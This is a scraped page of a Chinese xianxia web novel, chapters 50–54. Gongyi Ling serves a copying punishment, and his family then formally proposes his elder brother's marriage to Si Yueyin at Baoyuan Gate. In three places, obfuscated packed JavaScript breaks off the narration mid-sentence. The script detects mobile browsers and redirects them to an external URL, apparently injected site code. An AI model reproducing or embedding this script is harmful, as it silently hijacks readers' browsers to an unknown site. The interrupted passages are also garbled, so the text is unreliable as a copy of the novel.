公仪岚也上前拱手道:“司青筠虽加试考核里出了问题,但之前的六艺考核却也是实实在在考出来的,我看,还是依照原先的位次,只将第二甲空置便好。” 公仪岚这话,在这时候显然比其他人说的更有用些。司永丰的脸上稍缓和了些,让步道:“既如此,那便还是按照原先的念吧。燕煦泽,你可有什么异议吗?” 燕煦泽对此并不在意,况且自家师妹开口了,多少也得给个面子。于是从容不迫道:“并无异议。” 司月吟对燕蓉和公仪岚投去了一个感激眼神,对父亲行礼道:“多谢宗主。” 善承点了点头,继续往下宣读位次。 在燕蓉往后排着的,便是齐元白、纪银灵、燕渊和齐清鸢这四人了。 他们三个人对修改位次毫无意见,十分从容地接受了安排,只有燕渊颇为遗憾地骂了句不好听的话:“……我还以为我能高一位呢。” 他声音不小,一时间引得其他三人不由侧目而视。燕婉对他们露出一个抱歉的眼神,默默把弟弟拉到了自己身后,捂住了他的嘴。 大家都知道燕渊这个少宗主与他爹的脾性如出一辙,听到了也当作没听到,见燕婉出手相视一笑,随后面色如常地扭头回去,等待着后面名字。 公仪岭却是一个个数着,心里开始紧张起来。齐清鸢已是第八位,也就是说,下一个便该是公仪岚了。 公仪拓看着公仪岭拿了榜首却还是这般坐立难安的样子,不由失笑。 实际上,在他和沈熙华抵达抱元门后,就已经从长老的地方得知了乐考时候发生的事情。 公仪拓轻咳了一声,拉回了公仪岭的思绪,说道:“阿岭,其实乐考那事情,我跟你娘早就知道了。” 公仪岭有些发愣,继而垂头丧气道:“爹,大哥是因为我才只拿了第九甲的,你可千万不要怪他。要是师弟们问起来,就怪在我头上就好了。” 沈熙华正色道:“我们可没有怪阿岚的意思,要是换你爹年轻的时候遇到这事,没准这考试都得被他搅黄了,你已经做的很是得体了。” 公仪岭刚松了一口气,又听母亲悠悠道:“不过,我依稀记得,云灵山里已经严令禁止你们打牌了吧?你自己玩不说,还拖着阿岚和承悦一起,当真是不像话啊……” 公仪岭浑身一抖,看见母亲对他不紧不慢地摊开了掌心。 他只犹豫了一瞬,立刻就讨好地摸出怀中的牌交了上去,讷讷道:“能不罚吗?我一定下不为例!” 沈熙华笑道:“不能,阿岭你且准备准备,回去准备挨板子吧。” 公仪岚这时候也已经退了下来,听到母亲的话,面露不忍:“娘,阿岭皮糙肉厚的,打了怕也记不得教训,不如罚他抄书,也好磨一磨他的性子。” 沈熙华眼眸微眯,思虑片刻后微笑道:“也好,看在阿岚给你求情的份上,回去就把戒律抄一百遍长长记性吧。” 51. 山风取仙草 池鱼遇故知(四) 善承长老宣读完最终的位次后,仙考大会之事便告了一段落。 公仪岭随着爹娘与大哥回到云灵山之时,山中留守的所有弟子都出来迎接了他们。 只不过还没等师弟们对公仪岭道完恭喜,公仪岭就被沈熙华提溜着关进了房内。 公仪承悦依着师父师娘的要求,去戒律阁将律条寻来,在公仪岭桌案前摆放了厚厚一沓,又摸出算盘来将数量比对了一番,确认无误后才放下了算盘。 承悦颇为同情道:“阿岭,师父师娘可说了,抄不完不能出房门的。” “不是,承悦你等等。” 公仪岭急了,对他比划着桌案上那一沓册子的厚度,不可置信道:“我记得三个月前我抄过的也没这么厚啊?” 承悦扫了一眼册子,言语中更为同情:“那毕竟三个月前的戒律了。听小师弟说,师父师娘出关以后,就着人又将戒律重新修了一版,所以多了不少内容。” 公仪岭看着最上面的一本崭新的册子,封面上斗大地写了几个字:云灵山戒律册(十八)。 公仪岭满怀期望地问他:“这也太多了,能不能少抄几遍?” 承悦摇头,补充道:“师娘说了,一百遍,一遍都不能少。” 希望破灭。 于是房门被关上了,承悦顺道还按照长辈们的指示,用仙法在门口设了个禁制。整整好几日,哪怕是公仪岚也没办法靠近此地,也只有在公仪岭的几位好友给他传书来的时候,才被允许过来把书信转交给公仪岭。 公仪岭从窗子外接过了大哥递过来的几封书信,迫不及待就拆开来看了。 最上面的一封是燕蓉的,只简洁的写了几个字:“已到,平安,勿念。” 然后是纪银灵的,也是差不多的内容。 最后一封草草写在一张黄纸上的信自然是齐元白的:“阿岭我回太微山了,咱们中秋宴再一起吃酒!” 公仪岭捏了捏那张薄薄的黄纸,上面边边角角还画了几条红色的线,不由怀疑齐元白是不是随手拿了一张画废了的符纸写的。 不管怎么说,他们几个好歹还算是惦记着他。公仪岭感动了一番,十分妥帖地将几人的信安置进了书架上的紫檀木盒子里收好。 这一百遍戒律全部抄完,已经是五日后的事情了。 公仪岭写完最后一个字,将笔一丢,扯着嗓子在房中喊了一声娘,没过多久,沈熙华便出现在了他房门口,解开了禁制推门而入。 公仪岭没想到这一次母亲来得这么快,赶忙执起刚丢在一旁的毛笔,正了正身形,起身恭恭敬敬将沈熙华请到了自己的围椅上,指了指桌上的纸张道:“娘,我抄完了。” 沈熙华“嗯”了一声,随手翻看了几张,道:“下一次若是再犯,可就不是罚抄这么简单了。” 公仪岭连忙道:“不敢,不敢。” 沈熙华检查得很快,确定了公仪岭没有偷懒以后,才点了点头:“行了,可以出门了。” 公仪岭如获大赦,自由后的第一件事情便是急忙问了一嘴自己的宝贝灵宠们:“娘,我后院池塘的招财进宝和富贵,可都还好吗?” 当初去参加仙考的时候走得匆忙,公仪岭没有叮嘱师弟们照看三只王八们,回来路上日日担心它们会不会被饿死了,无奈自己一回来就被关在屋里,压根没法过去看看状况。 沈熙华笑道:“放心吧,你的师弟们可都帮你好好地喂养着呢。” “太好了,我现在去看看。” 见公仪岭迫不及待就想出门,前去后院池塘,沈熙华适时地拦住了他。 公仪岭疑惑回头,就听母亲再度开口:“先别急着去,你先随我到正殿中。” 他平日里在云灵山出行自由,很少被沈熙华刻意要求到正殿议事,每每沈熙华叫他,都是出了要紧事。爹娘前段时间闭关就已经令他感到有些奇怪了,现在公仪岭看沈熙华的神色郑重,忍不住开始担心起来。 “出什么事了?” “是出事儿了,不过是喜事。”沈熙华脸上笑意更深,“跟我来吧。” 公仪岭立刻猜到了是怎么回事,跟着母亲前往正殿议事。 云灵殿内,公仪岚正规规矩矩地坐在旁边的椅子上等母亲和弟弟前来,公仪拓则是一脸欣慰,看得公仪岭都怀疑自己是不是眼花了。 公仪拓笑得可谓春风满面:“哟,阿岭抄完了?快坐!熙华你也坐!” 公仪岭揉了揉酸麻的胳膊,坐在了公仪岚的旁边,悄声道:“大哥,你同爹娘说了?” 公仪岚缓缓点头:“是提了。不过没想到抱元门的拜帖来得这么快,爹娘一收到帖子便过来问我了,我就将之前约定的事情与他们说了。” 公仪岭定睛一看,果真看到父亲手上紧紧捏着一本黄色的拜帖。那拜帖封面上用的是上好的黄色绸缎,绣了金丝团花纹的样式,不是抱元门的拜帖又是哪个? 定亲的具体事宜公仪拓已经同公仪岚讲得差不多了,叫公仪岭过来不过是再同他告知一番。公仪拓就道:“阿岭,抱元门传来拜帖,意欲与我们云灵山结亲,此事你可知道?” 公仪岭点头:“我知。” 公仪拓几乎压不下嘴角,努力咳了两声控制后,才正色道:“司永丰的那位独女的确是个不可多得的好姑娘,我看与我们家阿岚甚是相配!此事能成,当真是极好。只是为父还有一点没想明白,司月吟那丫头从不在仙考露面,你们是何时……” 沈熙华也难压好奇,毕竟大儿子长这么大还是第一次开了情窍,不由追问公仪岭:“对啊!仙考历练的时候,他们俩怎么就看对眼了?阿岭,你快说说。” 可惜他们俩问公仪岭算是问错人了。此事连他也是一头雾水,没个头绪呢! 公仪岭只得说道:“这件事,你们二老还是去问问承悦吧?” 公仪拓叹气道:“指望不上你。” 沈熙华没得到想听的回答,也悻悻道:“你俩年岁相差也不多,怎么你还没开窍呢?不知道我们还能不能看见阿岭你成家那一日了。” “……好端端地可别提我呀!” 公仪岭被噎了一下,连忙扯开话题:“那现在定亲的事情,谈得如何?” 公仪拓放下了册子:“这事情发生得如此突然,多半也是因为那司青筠,才叫司永丰想要通过这样的方法给自己寻个助力,说起来,司月吟这孩子也是可怜……阿岚说了,要亲自去抱元门求娶,显得我们云灵山对此事看重。此事,我已经允了。” 沈熙华也道:“原先阿岭尚在禁闭,我们还在想着是不是让阿岚自己前去,正好阿岭你抄完了,既然要显得我们重视,你就跟着你大哥一起去吧。” 公仪岭沉默片刻,才抬起头看着娘亲,真诚地问了一句:“这就是娘这次来我房间解禁闭这么快的原因吗?” 沈熙华默默避开了儿子的真挚目光,支支吾吾说道:“这只是一部分原因……毕竟阿岚成婚,在我们云灵山,可是件大喜事啊!你可是阿岚的弟弟,你不去谁去?” 公仪岭顿了顿,毫不留情地拆穿:“还有一部分原因是,刚回云灵山没几天,懒得再大老远跑一趟了,是不是?” 沈熙华被说中想法,看上去更轻松了,从容不迫道:“这个嘛……虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429919|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然说结亲之事必须得由长辈出面,不过你既然是阿岚的胞弟,那让你也无妨。我们已经商量好了,不光去你们两个,你爹也会跟你们一起同行,有他亲自去说亲的话,想来这件事情应该就没什么问题了。” 面对这一番合情合理的说辞,公仪岭却是不为所动。 “所以,娘你是不打算去了吗?” 沈熙华无比自然接话道:“我与你爹闭关许久,承悦和你们又去了仙考大会,这两个月来,山中大小事务也无人打理,要是我们都去了可怎么好?为娘自然应该留下来处理这些事情了。” 公仪岭默默开口:“其实,我也可以留下来处理的……” 公仪拓听到他这话,忍不住嗤道:“上次我们信了你的话,叫你自己处理山中事务,你怎么处理着就撺掇承悦去后山摘柿子了?” 公仪岭小声道:“那也是云灵山的柿子,熟了可不得赶紧摘下来?不然就浪费了,我这也算是处理山中事务了。” 沈熙华凉凉地瞥了他一眼:“你摘下来也就罢了,怎么还跟弟子们分着吃完了呢?也不记得也给我们留几个。” 公仪岭自知理亏,举手投降:“好了好了,爹娘可别再说了,我去一趟就是了。” 公仪拓满意地抚了抚掌,道:“这才对,年轻人每天宅在云灵山算怎么回事,是该多出去走走。好了,这件事情就这么定了。” 公仪岭无奈道:“那大哥打算什么时候启程?” 公仪岚道:“司宗主的意思,是等再过三五日商议。” 公仪岭闻言了然,知道他们这样安排多半是想等司青筠头七过了再说,只是公仪岭没想明白的一点是,怎么抱元门会这么急匆匆地想安排好司月吟的亲事。 想了一会儿也没得出结论,他只好道:“那这几日,就先准备起来吧。” 他们两家也算是仙家名门,两家结亲是一桩大事,依照着规矩,云灵山自是需要准备不少东西,三书六礼,一样都少不得。 礼单与物件多是由沈熙华和承悦来准备的,云灵山上上下下忙得不可开交,顾不上公仪岭,于是他这几日,就被放养了。 公仪岚院子里也有一棵柿子树,生得十分高大,公仪岭小时候便常常爬上去,躺在树杈子间看着哥哥习字。 一晃多年过去,从前对他来说连爬上去都十分艰难的柿子树,如今也变得没有那么高不可攀了。 公仪岭望了一眼端坐在桌案前,认认真真撰写着聘书的大哥,唇角微扬,纵身就跃上了树干,寻了个舒适的位置躺了下来。 承悦刚点完礼单,一脚跨进公仪岚的院子里喊道:“岚兄——” 随后就感觉到头顶一疼,忍不住“诶哟”一声,揉了揉额角,瞥了一眼骨碌碌滚到地上的青涩果子,立刻就反应过来是怎么回事,抬头不悦道:“阿岭!你怎么又砸我?” 公仪岭对他比了个轻声的手势,扬唇笑道:“你声音太大了,可别影响到大哥写聘书了。” “哦,是这样啊。” 承悦应了一声,把自己的音量压了压:“你怎么又爬上树了?师娘可说了,被她抓到你再爬树就戒鞭伺候!趁她还没看见,你快下来!” 公仪岭微微挑眉:“娘现在忙得很,哪里有工夫来抓我?承悦,你手上拿着的是什么?” 承悦指着手中的卷轴,自豪道:“不枉费我挑灯夜战清点了这么久,终于把这礼单给整理出来了,正要给大师兄拿去呢。” 院里的对话,一字不落进了公仪岚的耳朵里,他写下了最后一个字,才搁下笔,吹了吹未干的墨迹,对窗外的两人抬头笑道:“进来吧。” 52. 聘三书六礼 赠鸿雁为信(一) 公仪岭就是担心自己打扰到大哥写聘书,这才只在窗外远远瞧着,看见他写完了,又招呼自己进去,马上就跳下了树,轻轻巧巧落在地上,揽着承悦进了屋子。 两人围在公仪岚的桌案旁边,忍不住凑近细看那大红卷轴上写了什么内容。 公仪岚字如其人,端正清雅,一眼望去,很是赏心悦目。至于公仪岭自己的字,与公仪岚相比便显得潦草了许多。 公仪岭不由感慨:“爹娘叫大哥自己写果然是明智的决定,我看便是让他们自己写也未见得能写得这般好。” 公仪岚含笑:“亲笔手书,方显珍重。” 承悦看完,将手上卷轴里草草整理的礼单也摆在了桌子上,对他道:“大师兄,师娘清点准备的所有聘礼都在这里了。” 卷轴一展,长得几乎摆不下整个桌子,直接垂到了地板上。 “千年碧水木、无常青灵皮、西海赤古玉、百年玄阴白古草……” 公仪岭念着上面写的物件,越念越心惊。 等到念到第十个珍宝,公仪岭终于忍不住开口叫道:“不是我说,咱们家何时有过这么多好东西了?合着爹娘这些年都偷摸藏着压箱底呢?” 想着自己屋檐上多年都没翻修的瓦片,千般心酸涌上心头。 秉着儿不嫌家贫的想法,公仪岭一直觉得云灵山这么多年来没怎么广招门生、修缮宗门只有一个原因,那就是家里贫穷,没有这个条件。 要不是大哥定亲,怕是他一辈子都不知道爹娘囤了这么多好东西! 公仪岚轻咳一声,解释道:“这个嘛,爹娘是觉得,既然修行就该清心寡欲些,就都不是很在意这些身外之物了。” 承悦见他垂头丧气,一脸生无可恋的模样,拍了拍他的肩膀安慰道:“翻修瓦片会有的,广招门生也会有的。” 公仪岭闷声道:“我不管,今年一定得把我房顶的瓦片翻修了。” 公仪岚对他郑重承诺:“一定,等大婚后,第一件事情就办这个。” 公仪岭捂着心口看完那张长长的礼单,叹气道:“唉……抱元门家大业大的,咱家也不能在他们面前丢了颜面,我能理解。” 承悦想起当时司月吟随手拿出来一麻袋的宝贝,忧愁道:“希望司姑娘能看得上眼这些东西。” 这点,公仪岭倒是不担心。 跟司月吟认识了这些时日,他也知道司月吟不是那种计较身外之物的人,便道:“都是心意,大嫂不会介意的。”说完,低头注意到了砚台上逐渐干涸的墨水,拿起墨条开始帮公仪岚磨墨。 公仪岚从抽屉里拿出了一副崭新的卷轴,看着公仪岭的举动,复而又想起来一事,转身从书架上取了一封信下来,对他道:“差点忘了这个,阿岭,这是燕蓉给你回的信。” 公仪岭一呆,赶紧伸手接了信,悄悄打量着公仪岚的神色,不敢擅自打开。 公仪岚察觉到他的眼神,失笑道:“我都知道了,你放心打开看吧,这事情我不会告诉爹娘的。” 公仪岭松了口气,手忙脚乱打开了信。谁知,扫了一眼却见信上面只写了六个大字:“已阅,不教,勿扰。” “……” 公仪岭收拾了一番破碎的心,郁闷道:“大哥,你怎么知道我写了什么?” “唔。”公仪岚回过身去,又从书架上取出一封信,信的封面上依旧是燕蓉的字迹,写着公仪岚亲启。 “她给你回信的时候,给我也捎了一封,语重心长地叮嘱我看好你叫你好好抄戒律,顺便让我转告你,让你死了这条心,她不会告诉你那种怎么让笔自己动起来的法诀的。” 五日时间,一晃而过。 这五日来,公仪岭大多数时间都在窝在后山打窝钓鱼。自己院子里的池鱼不知道什么时候被师弟们换成了锦鲤,公仪岭本想叫人来问问是怎么回事,不过在欣赏了锦鲤一刻钟后,他觉得还挺好看,掂量了一番后做出让步,自己换了个地方钓鱼。 辰时刚过了没多久,师弟师妹们就自告奋勇将系了红缎的聘礼抬到了山门处。公仪岭跟随着父兄两人,与母亲和众弟子告别以后,就启程前去抱元门了。 与之前不同的是,这一次他们没有在三化殿商议此事,而是被仙侍带到了东边的浮阳峰上,进了浮阳峰正殿中。 公仪岭在路上就问仙侍:“为何不在三化殿中商议此事?” 抱元门的仙侍办事向来一板一眼,比不得他们云灵山的仙侍活泼,公仪岭见那小仙侍面无表情道:“三化峰原是三位长老的地界,三化殿又常年用作处决犯了罪过的仙人。宗主的意思是,那边杀戮气息太重,不宜商议大喜之事。” 公仪岭道:“浮阳峰可是司宗主平日里的居所?” 仙侍点头道:“正是。” 公仪岚笑道:“听闻抱元门的大部分弟子是住在浮阳峰这边,由司宗主亲自教导的,今日一见,果然如此。” 仙侍淡声道:“宗主平日里要教导弟子,又要处理门中琐事,事务繁忙。除非发生大事才会出面,大多时候,都是由三位长老在三化殿处决了的。” 公仪岭心道:“难怪公仪正卿被会审的时候,只见三位长老,不见司宗主出来,原来是这样。” 浮阳峰比公仪岭想象中还要大上许多,难怪能住下抱元门的几千名弟子。他跟随着仙侍沿着青石台阶一路走,走了足有半个时辰,才算是走到了浮阳殿里。 “诸位,浮阳殿到了。” 仙侍客客气气地将他们领到浮阳殿门口,说完以后便马上退下了。 公仪岭抬眼一瞧,发现虽然峰是比三化峰大,但这浮阳殿建得可就远不如三化殿气派了。虽说浮阳殿门口的台阶也是玉石制成,不过光看其色泽,就知比三化殿的玉石差了一些,两相对比下来,显得就有些黯淡无光了。 不过,再怎么黯淡无光,也总比他们宗门强上不少。 公仪拓对这场面早就见怪不怪,镇定自若地抬步跨过门槛,对正座上的司永丰说道:“司兄,别来无恙。” 司永丰也看着他,脸上挂了淡淡的笑容:“公仪兄,上次我们两个人私下单独见面,还是五年前的事情了呢。” 公仪拓道:“想不到,我们两人竟还能成为亲家,当真是世事难料啊。” 公仪岭垂首与大哥并排站着,悄然问道:“我怎么不知道爹五年前跟司宗主单独会面过?” 公仪岚轻轻摇头:“不知。” 坐在司永丰旁边的崔如钰开口道:“公仪宗主,快请坐下吧。” 立在司永丰旁边给他们两人扇着扇子的仙侍立刻与身边颔首端着茶的小仙侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429920|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使了个眼色,后者便立即将手中的茶盏端到了司宗主右手边的三把椅子上。 公仪拓大步流星,自第一把椅子上坐下,公仪岭和大哥也是端端正正在位子上坐好,悄悄抬眼望了一眼坐在对面的司月吟。 司月吟神态自若,对他们两人微微一笑。 公仪岭伸手触碰了一下茶杯,下一刻温热的感觉就在他的指尖蔓延。七月份的天气渐渐炎热起来,他便没有急着去喝手边的茶水,而是安静地坐在椅子上等待他们说话。 身旁公仪岚却不知为何没接好仙侍递过来的茶水,手一抖竟将茶水洒了一些出去,顿时有些慌张,对那仙侍道:“抱歉……是我没拿稳。” 公仪岚无论在什么场合都能保持得体,这还是第一回失手洒了茶水。公仪岭诧异不已,问道:“大哥,怎么了?” 公仪岚简单拂了拂案上的水渍,道:“没事。” 公仪岭皱眉观察了他一会儿,恍然间灵光一闪知道了缘由,得出结论:“大哥,别紧张啊。” 公仪岚呼出一口气:“好。” 公仪拓瞥了一眼他,转而对司永丰道:“你们的意思,我已然了解了。若是两家能够联姻,对我们云灵山亦有帮助,我看极好。” 司永丰点头道:“公仪兄的两位公子都是极优秀的,大公子年轻有为,二公子又在本次仙考大会摘得魁首。原先我与夫人的意思是,想要择这次的一甲为婿,只不过月吟却与我们说,心悦你们家的大公子,所以……” 公仪拓笑道:“阿岭年岁尚轻,我与我夫人倒是不急着叫他成家。阿岚性子稳重,是能担得起大任的,我看他与月吟十分相配。” 公仪岭也小声附和道:“对对,我不急。” 崔如钰的目光一直落在公仪岚身上。对于公仪岚这孩子,她也早有耳闻。虽然前几年仙考的时候她没有过多关注,但也听闻公仪岚是一位丰神俊朗、仪表堂堂的公子,是不少仙家年轻女子的理想对象,只不过这么多年以来,从未听说过他与哪位女仙有过段情缘,是个值得托付的联姻对象。 今日一见,崔如钰对这个未来女婿十分满意。 崔如钰收起目光,浅浅喝了一口茶,问道:“这一次沈夫人怎么没来?” 从他们进入大殿起,崔如钰唯一担心的便是这个问题。定亲的时候沈夫人不出面,难不成是对这门亲事不满意吗? 公仪拓听出了她的言下之意,答道:“云灵山尚有要事须得处理,我家夫人此番并未同行,还望你们见谅。不过,熙华对月吟可是喜欢得不得了,我们带来的聘礼每一样都是她亲自准备的,崔夫人大可放心。” 说罢,他就对公仪岭道:“阿岭,还不赶紧叫你师弟们把东西都抬进来?” “好。” 公仪岭应了一声,起身对正座上两人拱手行礼,暂离了坐席。 带来的东西不少,所以他们出门前点了几个师弟随行,帮忙抬东西,这会儿几位师弟正候在殿外,等着他们召见。 见到二师兄出来,为首的一个弟子连忙问道:“二师兄,里面如何了?” 公仪岭卖了个关子没有说,只道:“大家快先把这些东西送进去,回去再细细跟你们说!” “一言为定啊!”几个师弟眼中兴奋,麻利地就把搁在地上的东西送了进去。 53. 聘三书六礼 赠鸿雁为信(二) 十几箱红绸木箱子被云灵山的几个弟子抬进了浮阳殿中,为首的那弟子顺手就将最前面的一只箱子打开了。 公仪拓没想到他会行此举动,皱眉不悦道:“阿越,为什么要擅自将这个箱子打开?” 名叫公仪越的那位弟子连忙解释道:“这是岭师兄的意思,宗主可别怪我!” 没等公仪拓发问,公仪岭立即接上:“爹你别怪阿越!是我叫他这样的。”说罢赶紧一伸手将箱子里的东西提溜了出来。 公仪拓怎么也没想到,这第一个箱子里竟然装了一只大雁! 公仪岚也惊了一下,问道:“阿岭,我记得礼单里……” 公仪岭颇为自豪:“这可是我自己抓来的,礼单里当然没有啦!大哥,我听闻民间嫁娶,男子聘亲的时候都会带上一只鸿雁,鸿雁在民间是忠贞之鸟,寓意矢志不渝。虽然仙家没有这样的说法,不过我思考了五日也没想到送给大哥和司姑娘什么定亲礼物,就特意去抓了只鸿雁,悄悄带过来了。” 公仪岭说着,欣赏了一番鸿雁脖子上被他绑上的大红绳子,那红绳上还被他打了一个漂亮的绳结,他十分满意。 公仪岚强忍笑意,问道:“那这鸿雁跟了我们一路,怎么也没听它叫唤一声?” 公仪岭扬手一指这大雁的脖颈:“为了给大哥你和司姑娘一个惊喜,我就用术法给这大雁的声音封了一段时间。” 他念了咒诀,伸手从鸿雁的脖颈处抚过,将这术法解开以后,鸿雁立刻扯着嗓子叫唤了两声。 公仪拓了然:“熙华这几日没管你,承悦又跟我说你不见踪影,原来是去抓这个了。” 公仪岭跟献宝似得将大雁牵到人前:“正是,为了逮一只活的,我可费了不少工夫呢。” “……” 司永丰默了许久,才缓缓道:“二公子当真别出心裁,这定亲礼物送得十分有趣。” 崔如钰倒是没说什么,反而一脸如释重负。她现在唯一的念头就是还好女儿眼光不错,看上的是大哥而不是二弟,现在看来,公仪宗主家的二公子还当真是跟传闻一样不靠谱。 司月吟却被这礼物逗得扑哧一笑,弯了弯眉眼:“多谢你的礼物,我们收下了。” 公仪岚也笑道:“阿岭一番心意,我很高兴。” 一段小插曲后,浮阳殿内的氛围轻松了许多,公仪岚原本紧张的心情也略微平复。公仪岭怕那只大雁一直叫唤太过吵闹,任它喊了两声证明自己是存活的后,便又将鸿雁的声音封了起来,把搁置在木箱子上的三幅卷轴呈交给了司宗主和夫人。 公仪拓适时道:“所以东西都已经写在这礼单上了,你们二位过目。” 司永丰原本就没对他们能拿出来的礼单报什么大期望,若非不得已,他们也不会这么快定下司月吟的亲事。在他们看来,司月吟不论嫁到哪家都是下嫁,可在草草扫了一眼那副长卷后,却还是诧异了一番。 这卷轴上面写着的东西虽说比不得他们门中物件珍稀,但也都是一些不可多得的宝物,是其他小门小派都难见的物件了。 司永丰觉得像这样的诚意还是不错的,看了两眼后“嗯”了一声,将礼单递给旁边的崔如钰过目。 崔如钰方才刚看见这长得一下子拉不到头的礼单就有点惊讶了,接过来一看更是满意无比、连连点头,当即就转头对司宗主道:“联姻之事,我看就这么定下来吧?” 司永丰没有意见,看向公仪拓,笑道:“小孩们的婚事,我与夫人没什么意见,不知公仪兄意下如何呢?” 公仪拓那就更没意见了,当即道:“我看甚好。只是不知道两位打算把婚期定在什么时候呢?” 司永丰与崔如钰交换了一个眼神,略略思考过后道:“眼看着这快到中秋了,今年中秋又定在了紫阳宗办,这一个月各家估摸着都忙着准备事宜,是没时间参加婚礼的。我看不如中秋宴后再办,如何?” 司月吟面露慌张,连忙道:“父亲……” 公仪岚知道她想说什么,立即起身对司永丰回道:“司宗主,月吟的师兄刚离世没多久,现在就办喜事,未免落人话柄。我看,等一年守丧期过,再大办婚礼也不迟。” 司永丰垂眸淡淡扫了一眼坐在下座的女儿,道:“这话,是月吟同你要求的吧?” 公仪岚自然不可能将司月吟在这时候抖落出来,肃然道:“司宗主,并非如此。我们与司青筠一同参加仙考,一路上患难与共,也算是朋友一场。何况月吟视其如长兄,于情于理,也都不应这么快就举行婚仪。” 公仪岭见状,也应声附和:“司青筠毕竟是抱元门的大弟子,在仙门中也是有名有姓的人,做出这事以后,风头还没过,这边就仓促结亲,大办酒席,难免让人觉得抱元门行事颇为无情,是想借此机会撇开跟司青筠的关系。等到丧期一过,大家应该也就忘了这档子事,对两家名声都好。” 崔如钰犹豫道:“这……若是定下亲来婚期迟迟未定,也难保旁人不会议论。” 公仪拓笑道:“崔夫人多虑了,此事只消将婚期延误的缘由宣布出去,大家自然就明白了。况且,你们两位对阿岚也不熟悉,若是这一年中阿岚行有差池,达不到两位择婿的标准,届时也能及时止损,另寻他人,对于你们而言,也好有个退路,不是吗?” 司永丰闻言也低头思忖了片刻,末了拍板道:“那就依你的意思,先把这门亲事定下来,至于大婚,就等到明年再议。” 司月吟生怕父亲反悔,连忙从椅子上起身行礼:“多谢父亲体谅。” 司永丰淡声叫她免礼,复而对公仪拓道:“公仪宗主,那这件事就这么说定了,等过几日,我便会将两家定亲的消息宣布出去。” 公仪拓从容不迫:“好。”说着就想起身告辞。 崔夫人含笑道:“公仪宗主远道而来,何不多留几日再走。如此匆忙,倒显得我们礼数不周了。” “前几日在抱元门留了几日已是给你们添了不少麻烦,加上我家夫人还在云灵山等着我带回去好消息,这一次就不多留几日了。” 公仪岭也点头道:“对,娘还等着我们回去处理事情呢。” 崔如钰本就是浅浅客套一番,见他们去意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429921|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已决,就不再强留,笑道:“永丰还有事要忙,我与月吟送一送你们吧。” 公仪拓本想拒绝,不过看旁边公仪岚似乎还有什么话要对未来儿媳说,于是口风一转:“……有劳崔夫人了。” 崔夫人微微颔首,将几人领出了浮阳殿。 司月吟默默跟在母亲身后,一路行至山门后,就听公仪拓说道:“崔夫人,便送到这里吧。” 崔如钰点头,唤了一声身旁站着的司月吟:“月吟。” 司月吟心里想着别的事情,反应迟了半拍才道:“母亲唤我何事?” “该回去了。” 崔如钰声线清冷,不容置疑道。 司月吟没有迈步:“母亲……” 公仪拓立刻说道:“我看他们小辈之间还有话要说,不妨留月吟在此处与他们道个别。” 公仪岚也道:“崔夫人,我有几句话要与月吟说,望您允准。” 崔夫人听到这话,严肃的语气也稍稍缓和了一些,转而对司月吟道:“那我就先回去了,月吟,你不要逗留太久,免得叫人说了闲话。” 司月吟恭恭敬敬回道:“我明白,母亲。” 公仪拓生怕影响儿子与儿媳交流感情,三步并两步退到了老远一边。而司月吟目送着崔夫人离开后,她紧张的神情才稍稍放松了下来。 公仪岭也注意到了她在父母面前十分紧绷谨慎,看起来与他们很是疏远。他从前就知道司月吟与他们关系不亲密,但没想到竟然疏离至此。 公仪岭问道:“司姑娘,你在司宗主和崔夫人面前看起来行事很谨慎啊。” 司月吟神色一僵,转瞬即逝,对他们展了一个轻松的笑容:“嗯,这个嘛,长辈在旁边,总归会有些不自然的。” 公仪岭觉得有些奇怪,还想再问,却瞧见了大哥飘过来的眼神,只得悻悻闭了嘴。 公仪拓本来在远处等得好好的,看着他们三人半天也不见公仪岭过来,怒气冲冲就奔了过去,揪住了公仪岭的耳朵。 “哎哟!爹,你这是干什么?!我没犯事吧?” 公仪岭捂着耳朵大叫,想要抗议,却被公仪拓轻轻松松从两人身旁拖走。 “叫叫叫,还叫!”公仪拓给他拖远了,把人随手往角落一丢,“这么多年了也没见你长点眼力见,当真是朽木不可雕也!你哥跟人家两个人要说悄悄话,你这么大个人往那一杵算怎么个事?!” 公仪岭顿悟了,立马捂住了自己刚刚叫出声音的嘴,小心翼翼地侧耳,想听他们说了什么。 公仪岚看着他的举动,也并未在意或是开口责怪他什么。只是莞尔一笑,对司月吟道:“月吟,这几日,你还好吗?” 虽然两人也有书信往来,但信笺上的千言万语,终究极不上两个人面对面说上一句话。 司月吟在信上与他说师兄在他们走后一日已经下葬,虽然写下的语句看起来十分平静,但还是被公仪岚注意到了信笺上浅淡的泪痕,和略显凌乱的笔迹。 他很担心她。 司月吟缓缓摇头:“这几日,我过得并不好。” 54. 聘三书六礼 